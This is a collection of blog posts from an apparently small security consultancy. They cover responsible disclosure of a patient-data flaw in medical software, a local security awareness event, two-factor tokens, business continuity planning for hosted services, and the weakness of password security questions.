Environments change and with that your plan should evolve. Consider reviewing the assessments, planning, and systems you have put in place over the course of the past year. Adjust them to fit your current business strategy. Remember technology should enable business and ignoring your technology based risks won’t make the risks go away and certain won’t make enabling your business any easier.
Out of the 5 institutions I located running the medical software publicly online, only two of them contacted me back for more information. As an aside I discovered that most organizations do not have an easy way for outsiders to contact them regarding issues such as this. Every company / site should have a privacy policy detailing how it details with information handling. Your privacy policy is a great place to put in this process and contact information. A security@example.com would also be a big help for us researchers.
One of the institutions was kind (and responsible) enough to contact me back and let me know that the vendor (after 6 months) had finally released a patch for this vulnerability.
Here are some lessons learned from the process.
The Vendor: If you are a vendor or service provider of software products and services take note. You need to be proactive and take security seriously. You should have a documented public process that researchers and your customers can follow to notify you and get notified about security updates in your product. Companies are feeling the pressures of regulatory compliance and the need for stability and security and will start to demand this. Start now before you fall behind to a wiser competitor.
The Customer: Pressure your vendors into providing quantifiable proof that they have put significant effort into securing the products you purchase from them. For missions critical software ask if they have had a third party security audit. Ask to find out if they keep track of metrics such as; how long does it take to fix a security issue from first report to customer notification. If they keep those metrics, as for them. Find out what they are doing to lower that number. Ask them if they provide proactive notification to their customers on security issues (or if you have to hunt for the info in the sparse content they call the README).
The final post on this series will be the advisory so you can see just how silly, but dangerous this vulnerability was.
October is National Cyber Security Awareness Month. It gives all of us that are security focused the opportunity to spread some information about security and safety to others.
To do our part DC509 is putting on another community outreach event. This time it’s going to be bigger and better than ever. We have 4 speakers on the agenda this time, speaking on a wide variety of topics. To not put the audience to sleep, each speaker will have 15 minutes to speak and 15 minutes for Q&A. Please join us and show support for helping to secure our community.
Speakers:
Aaron Howell – Phishing; Don’t take the bait
Adam Baldwin – Building trust with website visitors
Lynda True – Information sharing on social networks
Thomas Feduk, Jr – Basic best practices for staying safe online
You can find out more information about the event by going to ngenuity-is.com/events or more information about National Cyber Security Awareness Month by going to www.staysafeonline.org
This is a fantastic deal that PayPal and Ebay should be seriously promoting. PayPal and Ebay are both giant phishing targets. They have been offering a 2 factor authentication token for a while now. The cost to you, $5. Includes shipping, no other costs, no hidden fees and it’s easy to use. I highly recommend anybody with a paypal or ebay account get one immediately.
If you are in the Tri-Cities, WA area and want to learn more about Phishing (and other security topics) come to the DC509, National Cyber Security Month Event being held in October. Aaron Howell from nGenuity will be presenting on Phishing. I will post more information as the event nears.
I subscribe to the school of thought that responsible disclosure is the way to handle critical vulnerabilities. The kind of issues that place the privacy, welfare or money of people or businesses at risk need to be handled in such a way that it reduces the risk of all parties involved and everyone wins (before somebody gets owned).
Months back nGenuity found that commercial and really expensive healthcare application exposed patient information through a forced browsing vulnerability. (there will be a follow-up on this soon about how I found this vuln) This web application’s purpose and design is to provide doctors access to these records over the web in a secure fashion. We proceeded to write up the vulnerability details and provided them to the vendor, trying to be as responsible as we could. We notified our client, which immediately blocked application access from the Internet. The only one left to play nice was the vendor, but the vendor response was less than adequate.
Now I’m at a cross-road with responsible disclosure. If the vendor does not play ball, fix the vulnerability and notify their customer deployments then I am left with the burden of contacting those other deployments. Should this really fall on me? Yes if I’m going to follow through with my pact with responsible disclosure. I don’t have any other option if I want any of my clients to trust that I would do right by them with their confidential information. I’m also sure that somewhere in the fine print of my ISC2 and Certified Ethical Hacker ethics agreements it says I shouldn’t do that.
If you are an organization that makes software (yes this includes all you web developers), please make sure you make it easy for researchers to contact you about security issues in your products. When (not if) an issue is found in your software, coordinate with the finder and address the issue as quickly as possible. I have a rule about developers.
Stay tuned in to find out what our experience is notifying all of the medical organizations out there on the Internet running this application.
Every so many years the paradigm shifts from internally hosted content and applications to managed services and eventually finds it’s way back again. Back in the 90’s application service providers were all the rage and quickly diminished with the dot com boom. Today that shift is back and is moving towards “cloud computing.”
One popular aspect for consumers of cloud computing is Software as a Service (SaaS). These services are typically a subscription based service that run on a pay by use or time based schedule. This is great for businesses that want to adopt a technology quickly and consume low overhead. These services are increasingly allowing small businesses the opportunity to compete with large corporations where they were not able to in the past. Technology can be a great equalizer, but just below the surface of some services can loom hidden cost and risk.
Consider a credit union that nGenuity recently consulted for. The banking application they use that allows them to do all critical banking transactions, is a hosted application. This application is accessed over the Internet via a Virtual Private Network (VPN). This is a great solution for them, or at least they thought so up until it stopped working. In a blink of an eye every business transaction at that credit union stopped. Even though there was money in the vault, they couldn’t give it to customers because “the computer system was down.” This does not make for happy customers. The question they forgot to ask, like so many companies, is “what do we do if this doesn’t work?”
Let’s take a look at a few ways you and your business can avoid getting into the same situation
Critical Business Functions:
Identify the technology and resources your business requires to do critical functions. This exercise will be a lot easier for smaller businesses than larger ones. In each business, as more technology, staff, roles and functions are added, the more complex the dependency matrix becomes. A third-party that knows and understands the risk that technology can bring to businesses can help quickly rank risks and identify ones that may be missed by the inexperienced professional.
Service Level Agreements (SLA):
Whenever you lose control of your information and/or infrastructure to a third-party, always have the proper service level ageements in place. 100% uptime (while not impossible) is impractical and hard to achieve most of the time. Realize that the service will fail and be unavailalbe sometimes. Make the third party responsible for that downtime. This compensation should be proportional to the loss your business will receive due to the down time. Consider lost customers, income, and productivity as some of the metrics when calculating this value. You have to motivate that third-party to give you stellar service and the only time to do this is before you buy the service!
Business Continuity Plan (BCP):
Write down the process for doing business when the technology or resources to support those critical business functions fail or are unavailable. Make this process as simple and straight forward as possible. Do not stop there. Train and enable your employees to handle these situations without the aid of management or somebody technically trained. Finally run mock scenarios (fire drills) to give your businesses added confidence in being able to handle a disaster.
“If we hear, we forget; if we see, we remember; if we do, we understand. ” –Proverb
It all starts with asking the simple question “What happens if this breaks and we can’t do business?”
Security is an integral part of deploying and managing a successful website or web application. I’m was very pleased when Craig Sutton from BrightWeb Marketing asked me to speak at Learn About Web 2008 on web security.
Security is by far not the only thing one has to focus on for a successful business online, but it should be a major concern. The Learn About Web conference has something for everyone via three different tracks Business, Graphics and Design, and Social Media. I will be speaking in the Graphics and Design track on how to build customer trust and loyalty via a properly implemented security program.
Learn About Web 2008 will be held at the Tri-Cities Convention Center on November 7th, 2008. Register today!
Entrepreneurs love media attention for themselves and their business. Any chance to get on television or in a publication is quickly jumped upon. The July edition of the Tri-Cities Area Journal of Business features a new section that focuses on young entrepreneurs, asking questions such as “Toughest career obstacle or decision” and “[what are your] lifetime goals?” You might be thinking, “what does this have to do with security? It conveniently relates quite nicely to what I want to talk about; security questions and answers.
Security questions are those questions that you get asked when you want to reset your password, or maybe even to log into a web site. They are typically some simple question that possibly you (hopefully) may only know the answer to.
Some common questions are:
What city were you born in?
What is the name of a pet or the name of your first pet?
Favorite Movie
Favorite song / book
… and many other variations.
The problem with security questions is the answers to them are quite often easily found out information. Take the Journal of Business young entrepreneurs section. It offers a wealth of information that might be used.
Answers are typically less complex than a typical password injecting additional weaknesses into the security of your account. Why force a secure password when you don’t force a secure security question? Why are we giving up this information to the sites we log into every day? Because they asked for it, that’s why. We want access to the site and want the ability to reset our password or whatever other functionality the site has tied to the question/answer.
The solution is quite easy. Do not provide the real information. Generate a random answer and document that the same way you would your password. I recommend Password Gorilla, but there are many password archive applications out there to help you manage this.
As an aside, those of you that are being interviewed for publications do your homework first before providing information to somebody that says they are a reporter or journalist. One great social engineering method is to pose as the press to gain information. People love to talk to the press.
